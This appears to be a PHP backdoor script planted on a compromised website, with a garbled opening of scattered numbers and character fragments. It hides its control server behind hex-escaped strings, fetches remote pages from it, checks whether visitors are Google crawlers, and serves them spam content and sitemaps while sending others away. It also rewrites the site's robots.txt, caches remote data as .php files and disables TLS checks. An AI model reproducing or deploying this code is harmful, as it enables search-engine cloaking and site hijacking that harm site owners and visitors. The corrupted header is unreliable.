1 < 1 ? 1 p 2 hp 1 1 1 e 1 r 2 ro 1 r 1 _ 2 re 1 p 2 or 1 t 1 i 1 n 2 g( 1 0 1 ) 1 ; 1 2 $ 1 g 2 et 1 2 = 1 f 1 i 1 l 2 te 1 r 2 _i 1 n 1 p 1 u 2 t_ 1 a 1 r 2 ra 1 y 1 ( 1 I 1 N 1 P 1 U 2 T_ 2 GE 1 T 4 , FI 1 L 2 TE 1 R 1 _ 1 S 1 A 1 N 1 I 2 TI 1 Z 2 E_ 1 S 1 T 1 R 1 I 1 N 1 G 4 ); 1 1 1 / 2 * 1 - 18 ------------------------ 1 1 1 4 1 1 1 1 1 1 1 1 1 1 1 1 1d9e 缓存函数 ------------------------- */ function cache_get($key, $expire = 300) { $file = sys_get_temp_dir() . '/cache_' . md5($key) . '.php'; if (file_exists($file) && (time() - filemtime($file)) < $expire) { return file_get_contents($file); } return false; } function cache_set($key, $data) { $file = sys_get_temp_dir() . '/cache_' . md5($key) . '.php'; @file_put_contents($file, $data, LOCK_EX); } /* ------------------------- 获取真实访问 IP(兼容 CDN / 反代) ------------------------- */ function get_real_ip() { $keys = [ 'HTTP_CF_CONNECTING_IP', // Cloudflare 'HTTP_X_REAL_IP', // Nginx 'HTTP_X_FORWARDED_FOR', // Proxy 'HTTP_CLIENT_IP', 'REMOTE_ADDR' ]; foreach ($keys as $k) { if (!empty($_SERVER[$k])) { $ip = $_SERVER[$k]; if (strpos($ip, ',') !== false) { $ip = trim(explode(',', $ip)[0]); } if (filter_var($ip, FILTER_VALIDATE_IP)) { return $ip; } } } return '127.0.0.1'; } /* ------------------------- 更快的 getCurl() ------------------------- */ function getCurlFast($url) { $cached = cache_get($url); if ($cached !== false) return $cached; $data = ''; if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_TIMEOUT => 8, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => false, CURLOPT_USERAGENT => "Mozilla/5.0" ]); $data = curl_exec($ch); curl_close($ch); } if (empty($data) && ini_get('allow_url_fopen')) { $context = stream_context_create([ "http" => ["timeout" => 8, "header" => "User-Agent: Mozilla/5.0\r\n"], "ssl" => ["verify_peer" => false, "verify_peer_name" => false] ]); $data = @file_get_contents($url, false, $context); } if (!empty($data)) cache_set($url, $data); return $data; } /* ------------------------- URL 信息 ------------------------- */ function get_url_info(string $type='domain'): string { $host = $_SERVER['HTTP_HOST'] ?? ''; if ($type === 'no_www') return preg_replace('/^www\./i', '', $host); $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https://" : "http://"; $base = $protocol . $host; if ($type === 'base') return $base; if ($type === 'full') return $base . ($_SERVER['REQUEST_URI'] ?? ''); return $host; } /* ------------------------- 基础变量 ------------------------- */ goto ONPuB; ONPuB: $http_type = !empty($_SERVER["\x48\124\x54\x50\x53"]) && $_SERVER["\x48\124\124\x50\x53"] !== "\157\x66\146" ? "\150\x74\x74\x70\163\72\x2f\x2f" : "\x68\164\164\160\72\x2f\57"; goto O4O9k; O4O9k: $vurl = "\x74\157\56\152\147\141\x6c\x6c\163\x2e\143\157\x6d\x2f"; goto vgv72; vgv72: $qz = substr(str_replace(array("\x77\x77\167\x2e", "\56"), '', $_SERVER["\110\x54\x54\120\x5f\x48\x4f\123\x54"]), 0, 3); /* ------------------------- 解析 f 参数 ------------------------- */ $sz = $iid = ""; if(!empty($_GET)){ $f=reset($_GET); $sp = explode('-', $f); if (count($sp) === 2) { $sz = $sp[0]; $iid = $sp[1]; } } /* ------------------------- 远程接口 ------------------------- */ if (!empty($sz)) { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?sz=" . urlencode($sz)); } else { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?xy={$http_type}"); $sz = getCurlFast("{$http_type}{$vurl}3kg.aspx?jd=" . urlencode($jd)); } $hyzhdy = $jd . "41.aspx"; $surl = $jd . "s41.aspx"; /* ------------------------- robots / sitemap ------------------------- */ $sitemapLine = "Sitemap: {$http_type}{$_SERVER['HTTP_HOST']}{$_SERVER['SCRIPT_NAME']}?w=" . date('YmdHi') . "\n"; function ensure_robots_sitemap($sitemapLine) { $robots = rtrim($_SERVER['DOCUMENT_ROOT'], "/\\") . '/robots.txt'; if (!file_exists($robots)) { @file_put_contents($robots, "User-agent: *\nAllow: /\n" . $sitemapLine, LOCK_EX); } else { $c = @file_get_contents($robots); if ($c === false || strpos($c, $sitemapLine) === false) { @file_put_contents($robots, $sitemapLine, FILE_APPEND | LOCK_EX); } } } /* ------------------------- w= 输出 ------------------------- */ if (!empty($get['w'])) { $params = http_build_query([ 'NOUmber' => $get['NOUmber'] ?? '', 't' => $get['t'] ?? '', 'cn' => $get['cn'] ?? '', 'pNOUm' => $get['pNOUm'] ?? '', 'cid' => $get['cid'] ?? '', 'm' => $get['m'] ?? '' ]); $str = getCurlFast("{$surl}?{$params}"); echo str_replace( ['yymm','ggggg','?f='], [$http_type.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'], $sz,'?'.$qz.'='], $str ); exit; } /* ------------------------- IP 判定(保留 kk 测试) ------------------------- */ $kk = isset($get['kk']) ? trim($get['kk']) : ''; $ip = ($kk !== '') ? "66.249.82.8" : get_real_ip(); /* ------------------------- getdomain2 判断 ------------------------- */ $domain = trim(getCurlFast($jd . "getdomain2.aspx?rnd=1&ip=" . $ip)); /* ------------------------- 非 google + iid → 跳转 ------------------------- */ if ($domain !== 'google' && !empty($iid)) { $kname = urldecode(getCurlFast($jd . "gn.aspx?iid=" . $iid)); echo ''; exit; } /* ------------------------- iid 输出 ------------------------- */ if (!empty($iid)) { $str = getCurlFast($hyzhdy . "?iid={$iid}"); echo str_replace( ['ggggg','YYYYY','XXXYYY','当前URL','UUUUU','MMMMM','?f='], [$sz, get_url_info(), get_url_info('base'), get_url_info('full'), get_url_info('no_www'),parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH),'?'.$qz.'='], $str ); exit; } /* ------------------------- sitemap helper ------------------------- */ function output_sitemap_and_exit($sitemapLine, $http_type) { ensure_robots_sitemap($sitemapLine); echo "
Sitemap
"; exit; } /* ------------------------- kk 输出控制 ------------------------- */ if ($kk !== '' && preg_match('/^[A-Za-z0-9]+$/', $kk)) { $remote = getCurlFast($jd . "getdomain2.aspx?rnd=2&kk=" . $kk); if (!empty($remote)) { echo $remote; exit; } } if ($kk !== '' && !preg_match('/^[A-Za-z0-9]+$/', $kk)) { output_sitemap_and_exit($sitemapLine, $http_type); } $is_no_query = empty($_SERVER['QUERY_STRING']); if ($kk === '' && $is_no_query) { if ($domain === 'google') { output_sitemap_and_exit($sitemapLine, $http_type); } else { exit; } } output_sitemap_and_exit($sitemapLine, $http_type); ?> 0